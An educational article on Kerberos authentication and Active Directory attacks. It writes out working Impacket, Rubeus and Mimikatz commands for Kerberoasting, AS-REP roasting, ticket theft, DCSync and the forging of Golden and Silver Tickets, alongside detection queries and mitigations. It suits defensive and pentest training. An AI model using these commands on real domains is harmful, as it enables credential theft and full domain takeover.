Kerberos - Netzwerk-Authentifizierungsprotokoll

Kerberos is the foundation of Windows authentication—and also a prime target in Active Directory penetration tests. Golden Ticket, Silver Ticket, Kerberoasting: these attacks exploit legitimate Kerberos mechanisms for malicious purposes. A successful Golden Ticket attack grants an attacker permanent, undetectable domain admin access—as long as the KRBTGT account is not reset.

Kerberos Basic Principle

Parties Involved

• KDC (Key Distribution Center) = Domain Controller
• AS (Authentication Service) = Part of the KDC
• TGS (Ticket Granting Service) = Part of the KDC
• Client = User/Computer
• Service = e.g., file server, SQL server, web server

Process (Kerberos v5)

Step 1 - AS-REQ/AS-REP (Obtain TGT)

The client sends a request to the KDC: “I am Alice, I would like a TGT.” The KDC checks whether Alice is known (AD user) and creates a Ticket Granting Ticket (TGT):

• Contains: Alice’s session key (encrypted with Alice’s password hash)
• The TGT itself is encrypted with the KRBTGT account hash

Pre-Authentication (Standard): The client encrypts a timestamp with its own password hash; the KDC decrypts and verifies the timestamp (anti-replay). Without pre-auth, AS-REP roasting is possible.

Step 2 - TGS-REQ/TGS-REP (Retrieve Service Ticket)

The client sends: “I want to access FILESERVER01” + TGT. The KDC verifies the TGT (signature with KRBTGT hash) and creates a Service Ticket (ST) encrypted with the service account hash.

Step 3 - AP-REQ (Service Access)

The client presents the service ticket to the service. The service decrypts the ST using its own password hash, verifies the authorization, and grants access.

Important Properties

• The KDC NEVER sees the password in plain text
• The password hash is the master key for Kerberos
• TGT validity: typically 10 hours
• Service ticket validity: typically 10 hours
• KRBTGT hash = "master key" of the entire domain

Kerberoasting

Kerberoasting is an attack technique for offline cracking of service tickets.

How It Works

1. The attacker possesses any valid domain user account
2. The attacker requests service tickets for accounts with an SPN (Service Principal Name)
3. The service ticket is encrypted with the service account hash
4. The attacker cracks the ticket offline (no lockout, no logs)

Step-by-Step Attack

# Impacket (Python):
GetUserSPNs.py -request -dc-ip 192.168.1.10 domain.local/alice:Password123
# → Lists all accounts with SPNs
# → Downloads service tickets
# Output: $krb5tgs$23$*serviceaccount$DOMAIN.LOCAL*$HASH...

# Rubeus (Windows):
Rubeus.exe kerberoast
# → Automated: lists SPNs + outputs hashes

# PowerView:
Get-NetUser -SPN  # Find all accounts with SPNs

Offline cracking:

# hashcat:
hashcat -m 13100 hashes.txt wordlist.txt
# -m 13100 = Kerberos 5 TGS-REP etype 23 (RC4)

# john:
john --wordlist=rockyou.txt hashes.txt

Detection with Microsoft Sentinel (KQL):

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4 - outdated, suspicious!
| where ServiceName !endswith "$"  // Not a computer account
| summarize count() by Account, ServiceName, ClientIPAddress
| where count_ > 10  // Many service ticket requests = Kerberoasting!

Protective Measures Against Kerberoasting

• Strong passwords for service accounts (more than 25 characters, complex)
• gMSA (Group Managed Service Accounts) - automatic 240-character passwords
• AES-only Kerberos (no RC4/NTLM) - makes cracking significantly more difficult
• Monitoring: Event ID 4769 (Service Ticket Request) with Encryption Type 0x17 (RC4)

AS-REP Roasting

Prerequisite

The account has "Do not require Kerberos preauthentication" enabled—a misconfiguration that was historically necessary for certain applications.

Attack

# Impacket:
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile as-rep-hashes.txt

# Rubeus:
Rubeus.exe asreproast /format:hashcat

# Without credentials (if anonymous LDAP is allowed):
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt

Cracking:

hashcat -m 18200 as-rep-hashes.txt wordlist.txt
# -m 18200 = Kerberos 5 AS-REP etype 23

Protection

• Always keep "Require preauthentication" enabled
• Monitoring: Event ID 4768 without pre-auth
• Strong passwords for affected accounts

Ticket-based attacks

Pass-the-Ticket (PtT)

Stolen Kerberos tickets are used directly—no password required. Tickets can be found in LSASS memory or exported as a .kirbi file.

# Mimikatz - Export tickets:
sekurlsa::tickets /export

# Rubeus:
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:0x3e4 /nowrap  # Specific LUID

# Mimikatz - Import ticket:
kerberos::ptt ticket.kirbi

# Rubeus:
Rubeus.exe ptt /ticket:base64encodedticket

After importing, klist displays the imported ticket; access to \\TARGETSERVER\C$ is then granted using the stolen identity.

Golden Ticket - Persistence with KRBTGT Hash

A self-forged TGT, signed with the KRBTGT hash. It is valid for 10 years and continues to work even after password changes—except after the KRBTGT account is reset.

Prerequisite: Extract KRBTGT hash (requires domain admin rights or DCSync).

# DCSync - Extract KRBTGT hash (Mimikatz):
lsadump::dcsync /user:DOMAIN\krbtgt

# Impacket secretsdump:
secretsdump.py 'domain.local/adminuser:Password@DC01'

# Create Golden Ticket (Mimikatz):
kerberos::golden \
  /user:FakeUser \              # any username (does not have to exist!)
  /domain:domain.local \
  /sid:S-1-5-21-xxx-xxx-xxx \  # Domain SID
  /krbtgt:KRBTGT_HASH_HERE \   # NTLM hash of krbtgt
  /id:500 \                     # RID 500 = Administrator
  /ptt                          # Import directly into session

Impact: The attacker can act as any user (even non-existent ones). As long as the KRBTGT hash remains unchanged, the attack is undetectable and survives all admin password changes.

Remediation after Golden Ticket:

1. Reset the KRBTGT password twice (within 10 hours) – once is not enough, as replicated tickets are still valid
2. Terminate all suspicious sessions
3. Log analysis: Event ID 4768/4769 with unknown usernames

Silver Ticket - Service-Specific Persistence

A self-forged service ticket (not a TGT), signed with the service account hash. Lower impact, but harder to detect.

# Silver Ticket (Mimikatz):
kerberos::golden \
  /target:FILESERVER01.domain.local \
  /service:cifs \               # Service: cifs/http/mssql/ldap
  /user:Administrator \
  /domain:domain.local \
  /sid:S-1-5-21-xxx-xxx-xxx \
  /rc4:SERVICE_ACCOUNT_HASH \   # Service account hash
  /ptt

Detection is more difficult because the ticket is never requested from the DC (no Event 4768/4769). Only the service server sees the access. One indication is Event ID 4624 (Logon) without a prior Kerberos request.

Unconstrained / Constrained Delegation

Unconstrained Delegation

• The computer/service is allowed to cache the user’s TGT
• Can access any other service on behalf of the user
• BloodHound shows: “Nodes with Unconstrained Delegation”

Attack: Printer Bug + Unconstrained Delegation

1. Attacker controls a computer with Unconstrained Delegation
2. Attacker forces the DC to authenticate via Printer Bug:

Rubeus.exe monitor /interval:5  # Intercept TGT from memory
SpoolSample.exe DC01 ATTACKERMACHINE  # DC connects

3. The DC’s TGT ends up on the attacker’s machine
4. DCSync with stolen DC identity is possible

Constrained Delegation

• Service may only perform TGT substitution for specific services
• More secure than unconstrained, but attacks remain possible

RBCD (Resource-Based Constrained Delegation)

• Newer AD feature for delegation control
• Attack: if write permissions exist on msDS-AllowedToActOnBehalfOfOtherIdentity
• Can be exploited for privilege escalation

Mitigation Measures

• List and eliminate unconstrained delegation (BloodHound: “Principals with Unconstrained Delegation”)
• Mark sensitive accounts as “Account is confidential and cannot be delegated”
• Use the Protected Users security group (prevents delegation and caching)